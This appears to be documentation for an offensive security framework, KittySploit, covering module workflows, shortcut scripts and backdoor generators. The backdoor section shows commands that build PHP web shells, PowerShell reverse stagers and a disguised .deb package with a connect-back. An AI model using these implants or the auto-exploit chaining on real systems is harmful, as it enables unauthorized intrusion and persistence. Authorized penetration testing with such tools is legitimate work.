Analysis, forensic, workflows and purple team
Workflows, Shortcuts, and Backdoors
KittySploit offers three automation levels above manual use/run:
- Workflows --- module step graph with shared context (
WorkflowStep). - Shortcuts --- imperative scripts that load and chain modules (
Shortcut). - Backdoors --- implant generators (PHP, PowerShell, .deb packages) linked to listeners.
This chapter builds on reference code modules/workflow/simple_workflow.py and
the modules/shortcut/ and modules/backdoors/ directories.
Workflow Architecture
Base Classes
The engine lives in core/framework/workflow.py:
WorkflowStep--- one step = one module + options + transitions.Workflow--- inherits fromBaseModule, typeworkflow.- Shared context
self.context["data"]between steps.
Execution: workflow run() builds steps; _exploit() (called by
the framework) walks the on_success / on_failure chain.
Anatomy of a WorkflowStep
ping_step = WorkflowStep(
module_path="auxiliary/scanner/portscan/tcp",
options={"target": self.target, "verbose": self.verbose},
name="ping_target",
description="Connectivity test to target",
on_success="port_scan",
on_failure="workflow_end"
)
Parameters:
options | Dict option_name: value applied before run. |
name | Unique identifier within the workflow. |
description | Text displayed in console during execution. |
on_success | Name of next step if run() returns true. |
on_failure | Next step on failure (or workflow_end). |
condition | Callable or expression; step skipped if false. |
Reference Module: modules/workflow/simple_workflow.py
Structural Code
from kittysploit import *
class Module(Workflow):
__info__ = {
'name': 'Simple Workflow',
'description': 'Workflow basic demonstration of base features',
'author': 'KittySploit Team',
}
target = OptString("", "Target host or IP address", required=True)
verbose = OptBool(False, "Enable verbose output", required=False)
def run(self):
# Step 1 : ping
ping_step = WorkflowStep(...)
ping_step.map_output("ping_result", "target_reachable")
ping_step.map_output("response_time", "ping_time")
# Step 2 : scan
scan_step = WorkflowStep(...)
scan_step.map_input("target", "target_host")
scan_step.map_output("open_ports", "discovered_ports")
# Step 3 : services
service_step = WorkflowStep(...)
service_step.map_input("discovered_ports", "ports_to_check")
service_step.map_output("services", "detected_services")
self.add_step(ping_step)
self.add_step(scan_step)
self.add_step(service_step)
self.set_start_step("ping_target")
Execution Graph
ping_target --success--> port_scan --success--> service_check --> end
| |
failure failure
v v
workflow_end workflow_end
Launch
use workflow/simple_workflow
set target 10.0.0.50
set verbose true
run
Typical output:
Executing step: ping_target - Connectivity test...Data 'target_reachable' extracted and stored in context- Automatic chaining to
port_scanthenservice_check. Workflow finished in X.XX seconds
Input and Output Mappings
map_output
Links an attribute from the executed module to a context key:
step.map_output("open_ports", "discovered_ports")
# After run: context["data"]["discovered_ports"] = module.open_ports
The engine calls step.extract_outputs(module) according to output_mapping.
map_input
Injects a context value into a module option:
step.map_input("discovered_ports", "ports_to_check")
# Before run: module.ports_to_check = context["data"]["discovered_ports"]
Complete Data Chain
| Step | Mapping | Effect |
|---|---|---|
port_scan | Input target_host | Target propagation. |
port_scan | Output open_ports | Port list for step 3. |
service_check | Input discovered_ports | Targeted service scan. |
Without map_input, each step would have to redeclare options=\{...\} hard-coded ---
mappings avoid duplication.
Conditions and Advanced Branching
condition Function
def only_if_ports(ctx):
return len(ctx.get("data", {}).get("discovered_ports", [])) > 0
exploit_step = WorkflowStep(
module_path="exploits/...",
name="try_exploit",
condition=only_if_ports,
on_success=None,
on_failure="report_step"
)
If should_execute returns false, the step is skipped and the engine follows
on_success (current source code behavior).
Special Name workflow_end
Use on_failure="workflow_end" to terminate the chain cleanly. If the named
step does not exist in self.steps, the loop stops (current_step_name
becomes invalid --- define an empty step or None at chain end depending on your
implementation).
JSON Persistence
# In a custom Workflow module or via interpreter:
workflow.save("/tmp/mon_workflow.json")
loaded = Workflow.load("/tmp/mon_workflow.json", framework=framework)
Useful for versioning team playbooks (Git) without recompiling Python.
Writing a Custom Workflow
Creation Steps
new module corp_recon_chain --type auxiliary --path workflow(or create manually undermodules/workflow/).- Replace parent class with
Workflowin imports (from kittysploit import *). - Define global workflow
OptString/OptBool. - In
run(), instantiate eachWorkflowStep, configure mappings and transitions, thenadd_step+set_start_step. - Test module by module before chaining (
use auxiliary/...in isolation). sync now;use workflow/simple_workflow;run.
Example: Minimal HTTP Audit Workflow
class Module(Workflow):
__info__ = {'name': 'HTTP Audit Chain', ...}
target = OptString("", "URL", required=True)
def run(self):
headers = WorkflowStep(
module_path="scanner/http/security_headers_detect",
options={"target": self.target},
name="headers",
on_success="finger",
on_failure="end"
)
finger = WorkflowStep(
module_path="scanner/http/waf_fingerprint",
options={"target": self.target},
name="finger",
on_success=None,
on_failure=None
)
self.add_step(headers)
self.add_step(finger)
self.set_start_step("headers")
Best Practices
- Naming --- short, stable step names (
port_scan, notstep_2). - Idempotence --- modules must tolerate re-
runwithout additional destructive effect. - Failures --- always define
on_failuretoward a report step orworkflow_end. - Scope --- workflow does not call
scopeautomatically; validate target upstream. - Logs ---
set verbose trueon workflow if child modules respect the option.
Shortcut Modules (modules/shortcut/)
Shortcut Class
Defined in core/framework/shortcut.py. A shortcut is a BaseModule that
orchestrates other modules via imperative API:
load_module(path)--- loads a module intoself.current_module.add_option(name, value)--- sets an option on the loaded module.execute()--- callscurrent_module.run().unload_module()--- releases the current module.
Example: example_shortcut.py
class Module(Shortcut):
target = OptString("", "Target URL", required=True)
auto_exploit = OptBool(True, "Auto-exploit found vulns")
def run(self):
# Step 1 : scan (simulated or real)
vulnerabilities_found = [...]
# Step 2: exploit loop
if self.auto_exploit:
for vuln in vulnerabilities_found:
if self.load_module(vuln['module']):
self.add_option('target', self.target)
result = self.execute()
self.unload_module()
Launch:
use shortcut/example_shortcut
set target http://127.0.0.1:8080
set auto_exploit true
run
Workflow vs Shortcut
| Data | Workflow: map_* context; Shortcut: local variables. |
| Branching | Workflow: on_success/failure; Shortcut: if/for. |
| Maintenance | Workflow: JSON exportable; Shortcut: more flexible, less declarative. |
Choose Workflow for stable, documentable playbooks; Shortcut for complex business logic (scoring, external API calls, user interaction).
Writing a Production Shortcut
- Start from
modules/shortcut/example_shortcut.py. - Create a new shortcut under
modules/shortcut/and replace simulation with real calls:framework.commands.execute("scanner", ["-u", self.target])or loadscanner/http/.... - Implement
check(): verify options, connectivity, scope. - Tag
shortcutin__info__forsearch --tag shortcut.
Backdoors (modules/backdoors/)
Backdoors inherit from the Backdoor class. They generate an artifact
(PHP file, PowerShell script, Debian package) intended to be dropped on a target; the
session is established via an associated listener.
Repository Inventory
modules/backdoors/php/php_get.py | GET variant. |
modules/backdoors/php/php_cookie.py | Communication via cookie. |
modules/backdoors/php/wordpress_plugin.py | WordPress plugin artifact for authorized local targets. |
modules/backdoors/windows/powershell_reverse_tcp_* | PowerShell stagers (fruit_shell, telemetry). |
modules/backdoors/linux/deb_packaging.py | .deb package with connect-back. |
modules/backdoors/misc/kodi.py | Kodi addon (IoT/media niche). |
Search:
search --type backdoors
use backdoors/php/php_post
show options
PHP POST Example
use backdoors/php/php_post
set param_name kitty_shell
run
# Generates a random .php file in the output directory
Module metadata:
listener:listeners/web/php_postsession_type:PHParch:PHP
Debian Package (deb_packaging)
use backdoors/linux/deb_packaging
set lhost 10.0.0.5
set lport 4444
set package_name xlibd
set version 1.6
run
Generates a .deb with post-install connect-back script. Only on isolated test environment
Linux VM; installation on real system outside mandate = unauthorized compromise.
Windows PowerShell
Modules powershell_reverse_tcp_fruit_shell and
powershell_reverse_tcp_telemetry: script or encoded payload output;
pair with windows/ or multi/handler listener depending on module.
Backdoor + Workflow + Shortcut Chains
- Shortcut: after successful exploit,
load_module("backdoors/php/php_post")+execute()to deploy a second vector. - Workflow: final
deploy_shellstep conditioned onexploit_stepsuccess. - Agent:
agent <url> --post-exploitmay suggest a listener; manual backdoor for isolated test environment persistence.
Tests, Inventory, and Documentation
inventory --type workflow
inventory --path shortcut
sync now
search workflow
attack catalog --declared-only | grep -i workflow
Before marketplace contribution:
- Unit test or non-regression script.
doctor --only dependencies- Mission README: listener prerequisites, ports, legal risk.
Troubleshooting
| Empty mapping | Child module must expose attribute (open_ports) after run. |
| Shortcut: load fails | Incorrect module path; manual search + use. |
| Backdoor: no session | Listener running? Firewall? Reachable lhost? |
| Double listener | One listener per port; sessions -l for conflicts. |